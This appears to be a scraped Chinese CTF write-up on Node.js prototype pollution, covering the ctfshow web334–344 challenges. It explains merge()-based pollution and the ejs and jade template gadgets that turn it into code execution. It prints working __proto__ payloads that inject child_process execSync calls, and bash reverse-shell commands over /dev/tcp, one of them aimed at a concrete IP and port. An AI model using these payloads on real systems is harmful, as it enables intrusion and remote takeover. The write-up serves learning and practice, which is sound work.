当前位置: 首页 > news >正文

怎么做个手机版的网站吗tiktok国际版网页入口

怎么做个手机版的网站吗,tiktok国际版网页入口,推广网站,网站安全建设论文文章目录 NodeJS原型链污染ctfshow_nodejs前言0x01.原型与原型链0x02.prototype和__proto__分别是什么#xff1f;0x03.原型链继承不同对象的原型链* 0x04.原型链污染原理0x05.merge()导致原型链污染0x06.ejs模板引擎RCEejs模板引擎另一处rce 0x07.jade模板引擎RCE【ctfs… 文章目录 NodeJS原型链污染ctfshow_nodejs前言0x01.原型与原型链0x02.prototype和__proto__分别是什么0x03.原型链继承不同对象的原型链* 0x04.原型链污染原理0x05.merge()导致原型链污染0x06.ejs模板引擎RCEejs模板引擎另一处rce 0x07.jade模板引擎RCE【ctfshow】nodejsweb334web335web336web337web338nodejs原型链污染 web339web340web341ejs原型链污染 web342-343jade原型链污染 web344 参考 NodeJS原型链污染ctfshow_nodejs 前言 最近又遇到了有关原型链污染的题目所以在此总结一下方便回顾 0x01.原型与原型链 js中一切皆对象其中对象之间是存在共同和差异的。 共同对象的最终原型是Object的原型null差异函数对象中有prototype属性但是实力对象没有 1、原型的定义: 原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承 (1)所有引用类型函数数组对象都拥有__proto__属性隐式原型 (2)所有函数拥有prototype属性显式原型仅限函数 2、原型链的定义: 原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。 0x02.prototype和__proto__分别是什么 prototype是一个类的属性所有类对象在实例化的时候都会拥有prototype中的属性的方法 一个对象的__proto__属性指向这个对象所在类的prototype属性 我们可以通过Foo.prototype来访问Foo类的原型但Foo实例化出来的对象是不能通过prototype访问原型的。这时候就该__proto__登场了。 一个Foo类实例化出来的foo对象可以通过foo.__proto__属性来访问Foo类的原型也就是说 foo.__proto__ Foo.prototype0x03.原型链继承 所有类对象在实例化的时候将会拥有prototype中的属性和方法这个特性被用来实现JavaScript中的继承机制。 function Father() {this.first_name Donaldthis.last_name Trump }function Son() {this.first_name Melania }Son.prototype new Father()let son new Son() console.log(Name: ${son.first_name} ${son.last_name})// Name: Melania Trump总结一下对于对象son在调用son.last_name的时候实际上JavaScript引擎会进行如下操作 在对象son中寻找last_name如果找不到则在son.__proto__中寻找last_name如果仍然找不到则继续在son.__proto__.__proto__中寻找last_name依次寻找直到找到null结束。比如Object.prototype的__proto__就是null 知识点 每个构造函数(constructor)都有一个原型对象(prototype)对象的__proto__属性指向类的原型对象prototypeJavaScript使用prototype链实现继承机制 不同对象的原型链* var o {a: 1}; // o对象直接继承了Object.prototype // 原型链 // o --- Object.prototype --- nullvar a [yo, whadup, ?]; // 数组都继承于 Array.prototype // 原型链 // a --- Array.prototype --- Object.prototype --- nullfunction f(){return 2; } // 函数都继承于 Function.prototype // 原型链 // f --- Function.prototype --- Object.prototype --- null知道这个后面的就容易理解了 0x04.原型链污染原理 对于语句object[a][b] value 如果可以控制a、b、value的值将a设置为__proto__我们就可以给object对象的原型设置一个b属性值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下都会拥有b属性且值为value。 object1 {a:1, b:2}; object1.__proto__.foo Hello World; console.log(object1.foo); //Hello World object2 {c:1, d:2}; console.log(object2.foo); //Hello World最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下也会输出Hello World呢就是因为在第二条语句中我们对object1的原型对象设置了一个foo属性而object2和object1一样都是继承了Object.prototype。在获取object2.foo时由于object2本身不存在foo属性就会往父类Object.prototype中去寻找。这就造成了一个原型链污染所以原型链污染简单来说就是如果能够控制并修改一个对象的原型就可以影响到所有和这个对象同一个原型的对象。 0x05.merge()导致原型链污染 merge操作是最常见可能控制键名的操作也最能被原型链攻击。 function merge(target, source) {for (let key in source) {if (key in source key in target) {merge(target[key], source[key])} else {target[key] source[key]}} }let object1 {} let object2 JSON.parse({a: 1, __proto__: {b: 2}}) merge(object1, object2) console.log(object1.a, object1.b) // 1 2object3 {} console.log(object3.b) // 2上述已经污染成功了object3并没有b变量但是输出为2说明我们已经污染了Object原型对象的值根据原型链继承object3中也有b变量所以输出为2 需要注意的点是 在JSON解析的情况下__proto__会被认为是一个真正的“键名”而不代表“原型”所以在遍历object2的时候会存在这个键。 如果我们不使用json解析 let o1 {} let o2 {a: 1, __proto__: {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) // 1 2o3 {} console.log(o3.b) // undefiend这是因为我们用JavaScript创建o2的过程let o2 {a: 1, __proto__: {b: 2}}中__proto__已经代表o2的原型了此时遍历o2的所有键名你拿到的是[a, b]__proto__并不是一个key自然也不会修改Object的原型。 0x06.ejs模板引擎RCE https://www.anquanke.com/post/id/236354#h2-2 该漏洞可以参考ctfshowweb341 想要使用ejs进行RCE的前提是需要有原型链污染。例如 router.post(/, require(body-parser).json(),function(req, res, next) {res.type(html);var user new function(){this.userinfo new function(){this.isVIP false;this.isAdmin false; };};utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){return res.json({ret_code: 0, ret_msg: login success!}); }else{return res.json({ret_code: 2, ret_msg: login fail!}); }});function copy(object1, object2){for (let key in object2) {if (key in object2 key in object1) {copy(object1[key], object2[key])} else {object1[key] object2[key]}}}这里通过copy()函数就可以造成原型链污染漏洞 从app.js我们可以看到使用了ejs模板引擎 app.engine(html, require(ejs).__express); app.set(view engine, html);我们跟进ejs.js中的renderFile()函数 在 EJSEmbedded JavaScript模板引擎中renderFile() 是一个用于加载和渲染模板文件的方法。它通常与 Express 框架一起使用。 renderFile() 方法的作用是读取指定的 EJS 模板文件并将数据填充到模板中生成最终的 HTML 内容。这个方法多用于将动态数据注入到模板中以生成动态的网页内容 可见这个renderFile()函数非常的重要如果能够控制它输出的值就会执行相应的代码 exports.renderFile function () {var args Array.prototype.slice.call(arguments);var filename args.shift();var cb;var opts {filename: filename};var data;var viewOpts;...return tryHandleCache(opts, data, cb); };返回值是tryHandleCache(opts, data, cb)我们跟进一下 function tryHandleCache(options, data, cb) {var result;if (!cb) {if (typeof exports.promiseImpl function) {return new exports.promiseImpl(function (resolve, reject) {try {result handleCache(options)(data);resolve(result);}...}else {try {result handleCache(options)(data);}catch (err) {return cb(err);}...} }我们发现这个函数一定会进入handleCache() function handleCache(options, template) {var func;var filename options.filename;var hasTemplate arguments.length 1;...func exports.compile(template, options); //返回值if (options.cache) {exports.cache.set(filename, func);}return func; }这个函数的返回值是func而func是 exports.compile(template, options)的返回值继续跟进compile() compile: function () {...if (!this.source) {this.generateSource();prepended var __output ;\n function __append(s) { if (s ! undefined s ! null) __output s }\n;if (opts.outputFunctionName) {prepended var opts.outputFunctionName __append; \n;}......}我们发现函数里面存在大量拼接渲染 如果能够覆盖 opts.outputFunctionName , 这样我们构造的payload就会被拼接进js语句中并在 ejs 渲染时进行 RCE prepended var opts.outputFunctionName __append; \n; // After injectionprepended var __tmp1; return global.process.mainModule.constructor._load(child_process).execSync(dir); var __tmp2 __append; // 拼接了命令语句我们可以覆盖opts.outputFunctionName 为 __tmp1; return global.process.mainModule.constructor._load(child_process).execSync(dir);var __tmp2然后经过ejs原型链污染掉outputFunctionName 就可以实现rce了 由于此处例子的user.userinfo是一个函数所以需要使用两次__proto__才能获得原型对象Object {__proto__:{__proto__:{outputFunctionName:__tmp1; return global.process.mainModule.constructor._load(child_process).execSync(dir);var __tmp2}}}进行 copy 函数后, 此时 outputFunctionName 已经在全局变量中被复制了, 可以在 Global 的 __proto__ 的 __proto__ 的 __proto__ 下找到我们的污染链: ejs模板引擎另一处rce var escapeFn opts.escapeFunction; var ctor; ...if (opts.client) {src escapeFn escapeFn || escapeFn.toString() ; \n src;if (opts.compileDebug) {src rethrow rethrow || rethrow.toString() ; \n src;} }伪造 opts.escapeFunction 也可以进行 RCE {__proto__:{__proto__:{client:true,escapeFunction:1; return global.process.mainModule.constructor._load(child_process).execSync(dir);,compileDebug:true}}}{__proto__:{__proto__:{client:true,escapeFunction:1; return global.process.mainModule.constructor._load(child_process).execSync(dir);,compileDebug:true,debug:true}}}0x07.jade模板引擎RCE 可以参考ctfshow web342 原型链的污染思路和 ejs 思路很像 app.js中发现模板引擎为jade app.engine(jade, require(jade).__express); app.set(view engine, jade);我们跟进jade.js继续看renderFile() exports.renderFile function(path, options, fn){// support callback API...options.filename path;return handleTemplateCache(options)(options); //返回值 };跟进handleTemplateCache() function handleTemplateCache (options, str) {...else {var templ exports.compile(str, options); //if (options.cache) exports.cache[key] templ;return templ;} }返回值为temp1所以我们跟进compile() 我们必须满足compileDebugtrue jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句 所以我们跟进一下parse()函数 在 parse 函数中主要执行了这两步, 最后返回的部分: var body var buf [];\n var jade_mixins {};\n var jade_interp;\n (options.self? var self locals || {};\n js: addWith(locals || {}, \n js, globals)) ; return buf.join();;return {body: body, dependencies: parser.dependencies};options.self 可控, 如果我们控制selftrue可以绕过 addWith 函数, 回头跟进 compile 函数, 看看作用 返回的是 buf, 跟进 visit 函数 如果 debug 为 true, node.line 就会被 push 进去, 造成拼接 (两个参数) jade_debug.unshift(new jade.DebugItem( 0, ));return global.process.mainModule.constructor._load(child_process).execSync(dir);// // 注释符注释掉后面的语句在返回的时候还会经过 visitNode 函数: visitNode: function(node){return this[visit node.type](node);}这个函数会执行visit开头的函数所以我们需要控制type为有效的 visitAttributes visitBlock visitBlockComment √ visitCase visitCode √ visitComment √ visitDoctype √ visitEach visitFilter visitMixin visitMixinBlock √ visitNode visitLiteral visitText visitTag visitWhen然后就可以返回 buf 部分进行命令执行 {__proto__:{__proto__: {type:Code,compileDebug:true,self:true,line:0, \\ ));return global.process.mainModule.constructor._load(child_process).execSync(dir);//}}}(污染对应的变量这样才能进入到指定的地方进行字符串拼接) 补充: 针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type 【ctfshow】nodejs web334 login.js var express require(express); var router express.Router(); var users require(../modules/user).items;var findUser function(name, password){return users.find(function(item){return name!CTFSHOW item.username name.toUpperCase() item.password password;}); };/* GET home page. */ router.post(/, function(req, res, next) {res.type(html);var flagflag_here;var sess req.session;var user findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: 登录失败}); }req.session.loginUser user.username;res.json({ret_code: 0, ret_msg: 登录成功,ret_flag:flag}); });}else{res.json({ret_code: 1, ret_msg: 账号或密码错误});} });module.exports router;user.js module.exports {items: [{username: CTFSHOW, password: 123456}] };很显然我们只需要绕过这里 toUpperCase()是javascript中将小写转换成大写的函数。 return users.find(function(item){return name!CTFSHOW item.username name.toUpperCase() item.password password;});我们可以使用小写绕过ctfshow 这里还有一个小trick 在Character.toUpperCase()函数中字符ı会转变为I字符ſ会变为S。 在Character.toLowerCase()函数中字符İ会转变为i字符K会转变为k。所以我们也可以写成这样ctfſhow web335 源码提示 !-- /?eval --因此我们可以使用nodejs中的eval()进行命令执行 Node.js中的child_process.exec调用的是/bash.sh它是一个bash解释器可以执行系统命令。在eval函数的参数中可以构造require(child_process).exec();来进行调用。 这里我们选择反弹shell bash -i /dev/tcp/ip/port 01这一句的意思就是反弹shell将输出与输入都重定型到指定ip的指定端口上面 但是我们不能直接这样我们需要先base64编码之后(注意加号要进行url编码为%2B)然后使用echo输出使用管道符|将输出作为base64 -d输入进行base64解密最后再传给bash 这里我选择自己的服务器首先监听9996端口然后再execute 成功监听到了 直接读flag web336 我们了解到如下知识点 __filename当前模块的文件名。 这是当前模块文件的已解析符号链接的绝对路径。 __dirname可以获得当前文件所在目录从盘符开始的全路径 有一种方法是使用fs模块去读取当前目录的文件名然后通过方法去读取文件内容 require(fs).readdirSync(.)require(fs).readFileSync(fl001g.txt)常规方法这里过滤了exec我们可以使用spawn nodejs的child_process中可以使用 exec、execSync、spawn、spawnSync进行命令执行 当我们使用 require(child_process).spawnSync(ls)发现显示出 object查询资料 返回的object里有个stdout属性我们调用它就可以当成字符串输出了 然后我们去读文件 // require(child_process).spawnSync(cat fl001g.txt).stdout如果这样读的话语法是错的我们需要这样 require(child_process).spawnSync(cat,[fl001g.txt]).stdout还有一种思路通过定义变量然后多个变量拼接 web337 var express require(express); var router express.Router(); var crypto require(crypto);function md5(s) {return crypto.createHash(md5).update(s).digest(hex); }/* GET home page. */ router.get(/, function(req, res, next) {res.type(html);var flagxxxxxxx;var a req.query.a;var b req.query.b;if(a b a.lengthb.length a!b md5(aflag)md5(bflag)){res.end(flag);}else{res.render(index,{ msg: tql});}});module.exports router;关键点在这里 if(a b a.lengthb.length a!b md5(aflag)md5(bflag)){res.end(flag);这里可以使用数组绕过 a [1] b 1 console.log(a flag) console.log(b flag)输出 1flag 1flag可以看到nodejs中如果数组与字符串拼接后输出、数字与字符串拼接后输出结果是一样的 于是我们就有一种思路可以a传入数组然后b传入等值的数字 a[]1b1还有一种方法 nodejs中数组只能是数字索引如果为非数字索引的话相当于对象了。 a {x: 1} b {x: 2} console.log(a flag) console.log(b flag)输出 [object Object]flag [object Object]flag因此我们直接绕过 a[x]1b[x]2web338 nodejs原型链污染 关键在 commons.js module.exports {copy:copy };function copy(object1, object2){for (let key in object2) {if (key in object2 key in object1) {copy(object1[key], object2[key])} else {object1[key] object2[key]}}}login.js var express require(express); var router express.Router(); var utils require(../utils/common);/* GET home page. */ router.post(/, require(body-parser).json(),function(req, res, next) {res.type(html);var flagflag_here;var secert {};var sess req.session;let user {};utils.copy(user,req.body);if(secert.ctfshow36dboy){ //res.end(flag);}else{return res.json({ret_code: 2, ret_msg: 登录失败JSON.stringify(user)}); }});module.exports router;我们可以通过copy()函数通过原型链来污染secret变量的ctfshow属性 {username:asd,password:123,__proto__ : {ctfshow:36dboy}}web339 login.js let user {};utils.copy(user,req.body);if(secert.ctfshowflag){res.end(flag);}这里没法利用了 api.js router.post(/, require(body-parser).json(),function(req, res, next) {res.type(html);res.render(api, { query: Function(query)(query)}); });注意这一句 Function(query)(query)这种写法可以动态执行函数的 console.log(Function(return global.process.mainModule.constructor._load(child_process).execSync(whoami).toString())(return global.process.mainModule.constructor._load(child_process).execSync(whoami).toString()))// leekos\like因此我们只需要通过原型链污染一下query变量反弹shell即可 __proto__: {query:return global.process.mainModule.constructor._load(child_process).exec(bash -c \bash -i /dev/tcp/ip/port 01\) }登陆的时候污染query然后访问/api路由即可触发反弹shell web340 login.js发生了点变化api.js还是一样的 var user new function(){this.userinfo new function(){this.isVIP false;this.isAdmin false;this.isAuthor false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}这里还是调用了copy()函数可以造成原型链污染。但是注意这里并不是使user.userinfo.isAdmintrue因为就算污染了它的原型它还是false因为类似与就近原则变量的值还是等于靠近他们的值我们没办法从这里入手 我们继续从query入手在这里我们要将req.body中的值复制给user.userinfo 由于user.userinfo是一个函数所以经过一次__proto__后得到的原型对象是Function再经过一次__proto__后得到的原型对象是Object就可以污染query了这里只需要两次__proto__就行了 __proto__:{__proto__:{query:return global.process.mainModule.constructor._load(child_process).exec(bash -c \bash -i /dev/tcp/49.235.108.15/9996 01\)} }web341 ejs原型链污染 https://www.anquanke.com/post/id/236354#h2-2 __proto__:{__proto__:{outputFunctionName:_tmp1; return global.process.mainModule.constructor._load(child_process).exec(bash -c \bash -i /dev/tcp/ip/port 01\);var _tmp2} }web342-343 jade原型链污染 {__proto__:{__proto__: {type:Code,compileDebug:true,self:true,line:0, \\ ));return global.process.mainModule.constructor._load(child_process).exec(bash -c \bash -i /dev/tcp/ip/port 01\);//}} }web344 router.get(/, function(req, res, next) {res.type(html);var flag flag_here;if(req.url.match(/8c|2c|\,/ig)){res.end(where is flag :));}var query JSON.parse(req.query.query);if(query.nameadminquery.passwordctfshowquery.isVIPtrue){res.end(flag);}else{res.end(where is flag. :));}});过滤了8c、2c、, 我们本来应该这么传参 /?query{name:admin,password:ctfshow,isVIP:true}HTTP协议中允许同名参数出现多次但不同服务端对同名参数 处理是不一样的 Web服务器        参数获取函数            获取到的参数PHP/Apache      $_GET(“par”)            LastJSP/Tomcat      Request.getParameter(“par”) FirstPerl(CGI)/Apache   Param(“par”)            FirstPython/Apache    getvalue(“par”)          All(List)ASP/IIS        Request.QueryString(“par”)    All (comma-delimited string)在nodejs中会把同名参数以数组的形式存储并且JSON.parse可以正常解析 上面逗号,被过滤了我们可以使用改写成下面的格式 /?query{name:adminquerypassword:ctfshowqueryisVIP:true}但是此时又有一个问题双引号的url编码%22 与ctfshow的c结合后会变成2c被过滤了 所以我们应该把c编码一下%63 /?query{name:adminquerypassword:%63tfshowqueryisVIP:true}参考 https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html https://www.anquanke.com/post/id/236354#h2-3
http://www.w-s-a.com/news/236852/

相关文章:

  • 36 氪 网站如何优化怎么优化自己的网站
  • 网站兼容问题湖北网站建设优化
  • 2018新网站做外链app制作的网站
  • 外贸网站建设怎么建设pc网站做移动端适配
  • 做经销找厂家好的网站个人备案网站可以做电影站吗
  • 网站搭建怎么做网站建设培训哪家好
  • 学做美食的视频网站企业网站备案密码怎么找回
  • 销售产品做单页还是网站seo有哪些作用
  • 网站视觉规范南宁网站优化推广
  • 公司起名打分最准的免费网站学设计的学校
  • 用cn作网站行么WordPress网站打不开nginx
  • 顺德龙江网站建设百货商城自助下单网站
  • 门户网站采用较多的模式是wordpress自动搜索缩略图
  • 深圳设计功能网站做网站推广怎么做
  • 海口专业网站建设地址wordpress站点标题是什么
  • 青岛做网站那家好网页素材网
  • 宁夏银川做网站的公司网络营销有哪些推广方法
  • 免费域名网站哪个最好东莞企业网站排名
  • dz做网站网址模版
  • 做外贸网站平台中华室内设计师网
  • 三大网络架构seo是啥职业
  • 一个域名可以做中英文两个网站吗搜索引擎营销的6种方式
  • 可以做ppt的网站天津网站建设怎么样
  • 网站怎么做的qq邮件订阅浙江省住房和城乡建设厅网站查询
  • 主机屋网站在线做图片
  • 河南省城乡住房建设厅网站wordpress登陆密码
  • 漳州做网站的公司搭建网站多少时间
  • 网站开发实习计划模板微营销手机
  • 网站设计与制作是做什么工作免费封面设计在线制作生成
  • 网站开发的教学课程网站广告调词软件